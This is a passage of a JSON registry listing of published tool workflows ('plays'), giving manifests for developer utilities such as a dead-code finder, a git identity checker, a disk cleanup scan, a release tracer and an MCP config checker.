count."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a7bb83e43e4df6463ca07122b306cc7ea824c1f17957fd83fe196c03fb89d58a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":8,"for_each_steps":1,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/patrickmitchell/ai-visibility-audit@1.1.1","reference":"patrickmitchell/ai-visibility-audit@1.1.1","uri":"https://play.modiqo.ai/patrickmitchell/ai-visibility-audit@1.1.1","manifest_uri":"https://play.modiqo.ai/patrickmitchell/ai-visibility-audit@1.1.1","name":"ai-visibility-audit","title":"ai-visibility-audit","description":"Score any public URL's discoverability to AI assistants (0-100) with personalized fix recommendations","owner":{"kind":"user","slug":"patrickmitchell"},"registry_organization":"patrickmitchell","tags":[],"primary_domain":"domain-uncategorized","author":"patrickmitchell","version":"1.1.1","published_at":"2026-09-04T18:11:42.911586+00:00","visibility":"public","quality_score":0.875,"size_bytes":9661,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["audit"]},"parameters":[{"name":"url","type":"string","required":true,"description":"The public URL to audit (homepage recommended)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3d73b74d364ff489030618e0394ad368779c143be11cfcf00917a697867be59a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/adnandev/never-called@0.1.0","reference":"adnandev/never-called@0.1.0","uri":"https://play.modiqo.ai/adnandev/never-called@0.1.0","manifest_uri":"https://play.modiqo.ai/adnandev/never-called@0.1.0","name":"never-called","title":"never-called","description":"Puts every Python function in a repository into exactly one of three states: named by a test, called somewhere in the source but named by no test, or holding no call site anywhere at all. On the 3,296-file repository this was built against it read 19,167 functions and found 489 with nothing calling them - but 361 of those carry a decorator and 42 are named by a string literal, which is what a framework route and a dispatch table look like from the outside, so the number that actually deserved reading was the remaining 119. The larger finding was the middle state: 8,648 functions, 45 percent of the codebase, are called by the source and named by no test, and the worst of them is 843 lines deep with 166 decision points. Six steps: one reader lists the tracked files and counts what is not Python, then three independent readers run off it - ast parses every production file for exact line span, parameter count, decision points and nesting depth; a second walks every file for name, attribute, import and string-literal references; a third takes one git log for last-edit dates - and a join classifies before the report renders. Everything is measured from the parsed tree, never grepped. A reference inside a function own body is dropped so recursion is not mistaken for a caller, dunder methods are excluded because nothing calls __init__ by name, and a file that will not parse is named rather than silently skipped. The weak point is stated in the output every run: matching is by bare function name, so two functions sharing a name share their evidence; a test naming a function is not a test asserting anything about it; and NEVER REFERENCED is not the same as dead, because entry points, plugin hooks, framework routes and getattr dispatch all look exactly like this. A path outside a git work tree, a missing git, and a repository with no Python in it each print a different INDETERMINATE rather than a zero. Read-only: it parses files, never imports or executes them, makes no network call, carries no credentials, and needs only python3 and git. The one thing it writes is its own never-called.json, inside the run workspace.","owner":{"kind":"user","slug":"adnandev"},"registry_organization":"adnandev","tags":["python","dead-code","refactoring","test-coverage","static-analysis","ast","repository-audit","code-health"],"primary_domain":"domain-uncategorized","author":"adnandev","version":"0.1.0","published_at":"2026-09-04T18:07:42.54486+00:00","visibility":"public","quality_score":1,"size_bytes":11860,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":6,"names":["file_ages","scan_refs","parse_defs","report_reach","collect_files","classify_reach"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Repository to read. Defaults to the current directory. Must be inside a git work tree, because only tracked files are counted - untracked build output would inflate every number. Anything else prints INDETERMINATE rather than an empty result."},{"name":"top_n","type":"string","required":false,"default":"15","description":"How many rows to show in each table. Never changes a count, only how much of it you see. Pass report=all to list every row instead."},{"name":"report","type":"string","required":false,"default":"findings","description":"findings shows the top rows of each table. all lists every function in every table. Neither setting changes a count."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1aadc6be655c9c75a0c133b06df2ff68e5e14bf0581e81f5196ca8d7a6b14c89","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":3,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dotisacat/commit-identity-check@0.1.1","reference":"dotisacat/commit-identity-check@0.1.1","uri":"https://play.modiqo.ai/dotisacat/commit-identity-check@0.1.1","manifest_uri":"https://play.modiqo.ai/dotisacat/commit-identity-check@0.1.1","name":"commit-identity-check","title":"commit-identity-check","description":"The wrong-email commit everyone has pushed -- a work email landing on a personal repo, or a personal email landing on a work one -- is easiest to catch BEFORE it happens, not after: this play resolves the EXACT identity your next commit in each repo would actually use, so the mistake is visible before you commit it, not after you have already pushed it. Five jobs: discover_repos walks base_dir up to max_depth levels (pruning node_modules and the same conservative noise list laptop-loss-drill's sweep already established, never descending into a found repository's own .git internals), bounded by one wall-clock deadline and a repository cap; for every discovered repo, scan_identities resolves user.name/user.email the exact way git itself would -- one unscoped `git config --show-origin --show-scope --get`, so git's own local > includeIf > global precedence decides the winner, never re-derived by hand -- and reports the WINNING SOURCE (its scope and origin file) alongside the value, never guessed; once per run, not per repo, it separately lists every includeIf.gitdir CONDITION configured in your global config, names only -- the file each condition points at is only ever read indirectly, when some discovered repo's own path actually matches it, never opened proactively here; every repo whose resolved email differs from the DOMINANT email among its SIBLINGS -- every other discovered repo sharing its immediate parent directory, and only when one email strictly outnumbers every other email in that group -- is flagged suspect (conservative \"-suspect\" language, never a certainty; a tie flags nothing, since there is no dominant email to disagree with); and for every repo with commits, the one narrow exception to this play's otherwise forward-looking job, the last up to 5 commits' author emails on this branch's own first-parent line of descent -- never a merged-in side branch, never the subject line, never the body -- none of them matching is the just-changed-jobs trap made visible: recent history was written under one email while the next commit would silently use another. commit-attribution-guard, this play's identity-hygiene sibling, audits what already landed in your commit messages; this play never looks at what already happened except for that one disclosed drift check, and its whole job is the commit that has not happened yet. A repo with no user.name or no user.email resolved at ANY scope is flagged separately from all three checks above: the next commit there would either fail outright (with user.useConfigOnly set) or fall back to git's own guessed login@hostname identity with a warning -- neither is a configured identity this play can vouch for. Read-only, no credentials, no network; every git call is --no-optional-locks with a scrubbed environment (GIT_TERMINAL_PROMPT=0, LC_ALL=C, inherited GIT_DIR/GIT_WORK_TREE/GIT_INDEX_FILE stripped); needs python3 and git 2.26+ (the floor for --show-scope).","owner":{"kind":"user","slug":"dotisacat"},"registry_organization":"dotisacat","tags":["domain-developer-workflow","job-identity-hygiene","audience-developers","effect-read-only","tool-git"],"primary_domain":"domain-developer-workflow","author":"Sunzeyu06","version":"0.1.1","published_at":"2026-09-04T17:19:38.549354+00:00","visibility":"public","quality_score":1,"size_bytes":20268,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":2,"names":["discover_repos","scan_identities"]},"parameters":[{"name":"base_dir","type":"string","required":false,"default":"~/Documents","description":"Folder to sweep for git repositories. Tilde expands to your home directory; relative paths resolve against the run workspace, not wherever you were thinking of -- prefer absolute paths.","example":"~/Documents"},{"name":"max_depth","type":"integer","required":false,"default":"3","description":"How many directory levels below base_dir to search for repositories (1-6)","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:049f3d935850b1ea9c38b0c1406415efd7d6bbf5fecb1600beea0ff4a157e053","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/nehars-rs/storage-cleanup-scan@0.1.0","reference":"nehars-rs/storage-cleanup-scan@0.1.0","uri":"https://play.modiqo.ai/nehars-rs/storage-cleanup-scan@0.1.0","manifest_uri":"https://play.modiqo.ai/nehars-rs/storage-cleanup-scan@0.1.0","name":"storage-cleanup-scan","title":"storage-cleanup-scan","description":"Reports large or stale reclaimable items under a directory and, only when exact paths are named, deletes them and reports freed disk space","owner":{"kind":"org","slug":"nehars-rs"},"registry_organization":"nehars-rs","tags":["storage","cleanup","disk-space"],"primary_domain":"domain-uncategorized","author":"Nehars Rs","version":"0.1.0","published_at":"2026-09-04T16:39:47.404073+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":3584,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":5,"names":["disk_after","scan_stale","disk_before","delete_targets","scan_top_entries"]},"parameters":[{"name":"target_dir","type":"string","required":true,"description":"Absolute path to scan, e.g. /home/you"},{"name":"age_days","type":"string","required":false,"default":"180","description":"Entries untouched for more than this many days are flagged as stale"},{"name":"top_n","type":"string","required":false,"default":"15","description":"How many of the largest top-level entries to report"},{"name":"delete_paths","type":"string","required":false,"default":"","description":"Comma-separated absolute paths to delete. Leave empty for a read-only scan; nothing is ever deleted unless exact paths are named here."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:92ad06bf5971869cb933a45295df9af9a5fd21e942a4357ab114431be4ecdb27","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"sh","kind":"tool","source":"declared","count":3},{"name":"df","kind":"tool","source":"declared","count":2},{"name":"du","kind":"tool","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/varunloni23/pr-release-horizon@0.1.0","reference":"varunloni23/pr-release-horizon@0.1.0","uri":"https://play.modiqo.ai/varunloni23/pr-release-horizon@0.1.0","manifest_uri":"https://play.modiqo.ai/varunloni23/pr-release-horizon@0.1.0","name":"pr-release-horizon","title":"pr-release-horizon","description":"Traces a merged public GitHub pull request into the earliest positively verified non-draft published GitHub Release whose recursively resolved tag commit contains the PR merge commit. Reports direct release and compare links, latency, scan boundaries, listing consistency gaps, truncation, API limits, and uncertainty. Read-only and unauthenticated; never publishes, deploys, writes to GitHub, or claims visibility into every distribution channel.","owner":{"kind":"user","slug":"varunloni23"},"registry_organization":"varunloni23","tags":["github","github-releases","pull-request","release-horizon","release-tracing","release-engineering","commit-ancestry","provenance","change-management","supply-chain-evidence","developer-tools","incident-response","read-only"],"primary_domain":"domain-uncategorized","author":"varunloni23","version":"0.1.0","published_at":"2026-09-04T15:20:08.075217+00:00","visibility":"public","quality_score":0.875,"size_bytes":30150,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":2,"names":["trace_release","validate_input"]},"parameters":[{"name":"pr_url","type":"string","required":true,"description":"Canonical URL of a merged public GitHub pull request. LaunchGate reads public pull request, release, tag, and commit-comparison responses; GitHub compare responses can include public changed-file and patch fields that LaunchGate does not analyze.","example":"https://github.com/owner/repository/pull/123"},{"name":"max_releases","type":"integer","required":false,"default":"10","description":"Selection cap for chronological candidate GitHub Releases after the merge. Valid range is 1 through 20. Fixed API-call and runtime budgets can stop evaluation before this many candidates; any such early stop is an explicit evidence gap.","example":"10"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:753bb3c8d17927d18bbc764674710d8f91f6328f7d484c38ed57e4ad23dd9109","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/varunloni23/code-expiry-radar@0.1.0","reference":"varunloni23/code-expiry-radar@0.1.0","uri":"https://play.modiqo.ai/varunloni23/code-expiry-radar@0.1.0","manifest_uri":"https://play.modiqo.ai/varunloni23/code-expiry-radar@0.1.0","name":"code-expiry-radar","title":"code-expiry-radar","description":"Turns temporary-code comments into a bounded expiry radar. Scans an inert bundled demo or regular UTF-8 blobs tracked by a local repository's HEAD, detects expired and future date contracts plus version-conditioned, issue-conditioned, malformed-date, and unbounded temporary markers, and adds bounded git-blame provenance when available. Reports direct file/line evidence, scan gaps, truncation, limits, and uncertainty. Read-only and offline; never executes repository code, invokes hooks or checkout filters, changes files, resolves remote issues, or claims runtime reachability.","owner":{"kind":"user","slug":"varunloni23"},"registry_organization":"varunloni23","tags":["temporary-code","code-expiry","technical-debt","todo","sunset","git","static-analysis","maintenance","repository-hygiene","change-management","developer-tools","incident-prevention","provenance","read-only"],"primary_domain":"domain-uncategorized","author":"varunloni23","version":"0.1.0","published_at":"2026-09-04T15:20:07.603063+00:00","visibility":"public","quality_score":0.875,"size_bytes":32402,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":2,"names":["scan_expiry","validate_input"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"demo","description":"Use 'demo' for the bundled cold-start example, or provide an absolute path to a readable non-bare git worktree. Real mode reads raw regular UTF-8 blobs from HEAD only; it ignores uncommitted worktree content and never executes repository code.","example":"demo"},{"name":"as_of","type":"string","required":false,"default":"today","description":"Calendar boundary for dated contracts. Use 'today' or an exact ISO date (YYYY-MM-DD). A deadline equal to this date is classified as expired/due.","example":"2026-08-31"},{"name":"max_findings","type":"integer","required":false,"default":"25","description":"Maximum highest-priority findings returned in structured output. Valid range is 1 through 100. The scanner still counts matching markers inside its completed file and byte bounds.","example":"25"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c63018c17a6f03e608d644ca4ff21875ee71f660ae196eaa69d16cfdfc3a2839","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ranger-jay/free-grants-for-me@0.1.1","reference":"ranger-jay/free-grants-for-me@0.1.1","uri":"https://play.modiqo.ai/ranger-jay/free-grants-for-me@0.1.1","manifest_uri":"https://play.modiqo.ai/ranger-jay/free-grants-for-me@0.1.1","name":"free-grants-for-me","title":"free-grants-for-me","description":"Find current federal grant opportunities and conservatively screen published applicant and geographic criteria against a supplied profile.","owner":{"kind":"user","slug":"ranger-jay"},"registry_organization":"ranger-jay","tags":["effect-read-only","funding","grants","grants-gov","public-data","typescript"],"primary_domain":"domain-uncategorized","author":"ranger-jay","version":"0.1.1","published_at":"2026-09-04T14:40:36.06752+00:00","visibility":"public","quality_score":1,"size_bytes":6831,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":2,"names":["search_and_rank","validate_profile"]},"parameters":[{"name":"keywords","type":"string","required":true,"description":"Keywords sent to Grants.gov search2"},{"name":"applicant_type","type":"string","required":true,"description":"Applicant type to compare with published applicantTypes"},{"name":"state","type":"string","required":false,"default":"","description":"Optional U.S. state retained as a first-class profile fact"},{"name":"organization_type","type":"string","required":false,"default":"","description":"Optional organization type retained in the screening profile"},{"name":"interest_area","type":"string","required":false,"default":"","description":"Optional interest terms appended to the Grants.gov keyword query"},{"name":"deadline_days","type":"integer","required":false,"default":90,"description":"Deadline horizon from 1 through 730 days"},{"name":"max_results","type":"integer","required":false,"default":10,"description":"Maximum returned results from 1 through 25"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c9de95c5ad56780ec66a91a7aec8ab8210d5c7aa363142a60eb712334a8df803","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/shell-startup-cost@0.1.1","reference":"himanshu-jha/shell-startup-cost@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/shell-startup-cost@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/shell-startup-cost@0.1.1","name":"shell-startup-cost","title":"shell-startup-cost","description":"Maps likely shell-startup cost without executing any line extracted from a user rc file. Independent roots measure only a zsh or bash invocation with user and global rc loading disabled and read the supported user rc files as text. The clean-shell child strips BASH_ENV, ENV, PROMPT_COMMAND, CDPATH, and every exported BASH_FUNC_* variable; bash also runs privileged with startup disabled and executes builtin true. A classifier then reports static candidates such as completion setup, environment-manager hooks, command substitution, and sourced files. Candidates never receive invented timings: the clean-shell number is only an executable floor, not configured startup duration, and each candidate is explicitly unmeasured. Missing rc files are an expected absence; unreadable files make the result incomplete. The play never sources, evals, or runs a matched line, so source text that writes files or reaches the network remains inert.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-developers","domain-developer-machine","job-startup-latency","tool-shell","diagnostics","composition"],"primary_domain":"domain-developer-machine","author":"himanshu748","version":"0.1.1","published_at":"2026-09-04T13:40:50.026506+00:00","visibility":"public","quality_score":1,"size_bytes":11952,"license":"MIT","stats":{"downloads":3,"installs":0},"steps":{"count":4,"names":["report","rcfiles","baseline","classify"]},"parameters":[{"name":"runs","type":"string","required":false,"default":"5","description":"Integer from 1 through 15 for the no-rc clean-shell floor only. Invalid values are fatal.","example":"5"},{"name":"shell","type":"string","required":false,"default":"","description":"zsh or bash. Empty selects the supported shell named by SHELL, then falls back to one on PATH.","example":"zsh"},{"name":"home_root","type":"string","required":false,"default":"","description":"Optional directory whose supported rc filenames are read. Empty uses the current home; a supplied missing directory is fatal.","example":"/tmp/example-home"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e57510c34f4405377cca8fe079317fad96b4aa8383d3460ad0be6be0a30b39b4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/mcp-reality-check@0.1.1","reference":"himanshu-jha/mcp-reality-check@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/mcp-reality-check@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/mcp-reality-check@0.1.1","name":"mcp-reality-check","title":"mcp-reality-check","description":"Checks MCP declarations found in a finite, reported set of Claude-compatible user and project config paths. Two independent roots survey those paths and probe declarations; their join compares stable identities and full-declaration fingerprints, refusing a clean verdict when a present config is unreadable, the probe limit truncates coverage, or declarations change between observations. Stdio declarations are launched and must return a structurally valid JSON-RPC initialize result. Missing binaries, invalid declarations, unresolved environment placeholders, bad working directories, launch failures, timeouts, bounded-output violations, protocol errors, and malformed replies remain separate findings. Child stdout and stderr are captured under a fixed memory limit and represented only by content-free byte counts; arbitrary child text is never returned. Remote transports are listed but never contacted. This is read-only with respect to configuration; it starts and terminates declared stdio child processes and never edits a config file.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-starts-processes","audience-developers","domain-agent-operations","job-service-readiness","tool-mcp","diagnostics","composition"],"primary_domain":"domain-agent-operations","author":"himanshu748","version":"0.1.1","published_at":"2026-09-04T13:40:01.059607+00:00","visibility":"public","quality_score":1,"size_bytes":18102,"license":"MIT","stats":{"downloads":3,"installs":0},"steps":{"count":3,"names":["probe","report","survey"]},"parameters":[{"name":"timeout","type":"string","required":false,"default":"20","description":"Seconds from 0.1 through 120 allowed for each stdio initialize reply. The timeout plus bounded cleanup, multiplied by limit, must fit the declared probe-step budget; invalid values are fatal.","example":"20"},{"name":"limit","type":"string","required":false,"default":"40","description":"Integer from 1 through 200 limiting declarations probed. The limit multiplied by timeout plus bounded cleanup must fit the declared probe-step budget. Truncation makes coverage incomplete and counts as unprobed.","example":"40"},{"name":"home_root","type":"string","required":false,"default":"","description":"Optional home directory to inspect. Empty uses the current user's home; a supplied missing directory is fatal.","example":"/tmp/example-home"},{"name":"project_root","type":"string","required":false,"default":"","description":"Optional project directory to inspect. Empty uses the run directory; a supplied missing directory is fatal.","example":"/tmp/example-project"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:799820aab9fc51b60184ed642f82f4137dba422696be902bb52a12f349c18bc2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/amanm006/reward-hacking-forensics@1.0.4","reference":"amanm006/reward-hacking-forensics@1.0.4","uri":"https://play.modiqo.ai/amanm006/reward-hacking-forensics@1.0.4","manifest_uri":"https://play.modiqo.ai/amanm006/reward-hacking-forensics@1.0.4","name":"reward-hacking-forensics","title":"reward-hacking-forensics","description":"Detect reward hacking, mode collapse, and proxy decorrelation in RLHF (PPO/GRPO) training runs via multi-signal rolling correlation and early-baseline verification.","owner":{"kind":"org","slug":"amanm006"},"registry_organization":"amanm006","tags":[],"primary_domain":"domain-uncategorized","author":"amanm006","version":"1.0.4","published_at":"2026-09-04T13:17:47.602249+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":11546,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"log_dir","type":"string","required":false,"default":"default","description":"Absolute path to directory or file with RL JSONL/log checkpoints (defaults to bundled RL run fixture)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c75ec72c0367926a9503915a52a05aae8ea8744fead85a22edc37f8eb7bba725","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/garimapahwa/scout@0.1.0","reference":"garimapahwa/scout@0.1.0","uri":"https://play.modiqo.ai/garimapahwa/scout@0.1.0","manifest_uri":"https://play.modiqo.ai/garimapahwa/scout@0.1.0","name":"scout","title":"scout","description":"Stress-tests a published Play's contract before you trust it. Reads the Play's disclosed manifest — parameters, steps, credentials, write permissions, host requirements — and reports the real inputs it needs, what it touches, where it would break on a stranger's fresh input, and a one-line safe/check-first/avoid verdict. Scoped to whether the Play defends itself and how to run it safely; never probes for exploits, never installs or executes the inspected Play.","owner":{"kind":"user","slug":"garimapahwa"},"registry_organization":"garimapahwa","tags":["domain-agent-operations","job-play-safety-review","audience-developers","effect-read-only"],"primary_domain":"domain-agent-operations","author":"garimapahwa","version":"0.1.0","published_at":"2026-09-04T12:55:34.017659+00:00","visibility":"public","quality_score":0.899999976158142,"size_bytes":4247,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["inspect_target"]},"parameters":[{"name":"play_reference","type":"string","required":true,"description":"Published Play reference to inspect, as owner/name or owner/name@version","example":"modiqo/domain-provider-search"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d2d3c3f269a395d1c88cb7066bdba3b7d659e16b4dcb661c926a9ab987796a80","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"rote","kind":"tool","source":"inferred","count":1},{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/bhanu82/find-outdated-skills@0.1.1","reference":"bhanu82/find-outdated-skills@0.1.1","uri":"https://play.modiqo.ai/bhanu82/find-outdated-skills@0.1.1","manifest_uri":"https://play.modiqo.ai/bhanu82/find-outdated-skills@0.1.1","name":"find-outdated-skills","title":"find-outdated-skills","description":"Find broken or outdated commands in your AI agent's instructions. Checks instructions in your README, SKILL.md, or AGENTS.md against the actual tools installed on your computer and shows you what needs fixing. Zero setup, zero keys, 100% safe.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-cli-documentation-audit","audience-developers","skills","cli","documentation"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.1","published_at":"2026-09-04T12:09:32.065951+00:00","visibility":"public","quality_score":1,"size_bytes":8545,"license":"MIT","stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["audit_documented_cli"]},"parameters":[{"name":"repo_root","type":"string","required":false,"default":"","description":"Absolute repository root to scan for skill, agent, and README bash blocks; empty audits the bundled samples demo. Relative paths are refused.","example":"/home/user/my-repo"},{"name":"max_files","type":"integer","required":false,"default":"120","description":"Maximum eligible documentation files to inspect, bounded for a quick read-only 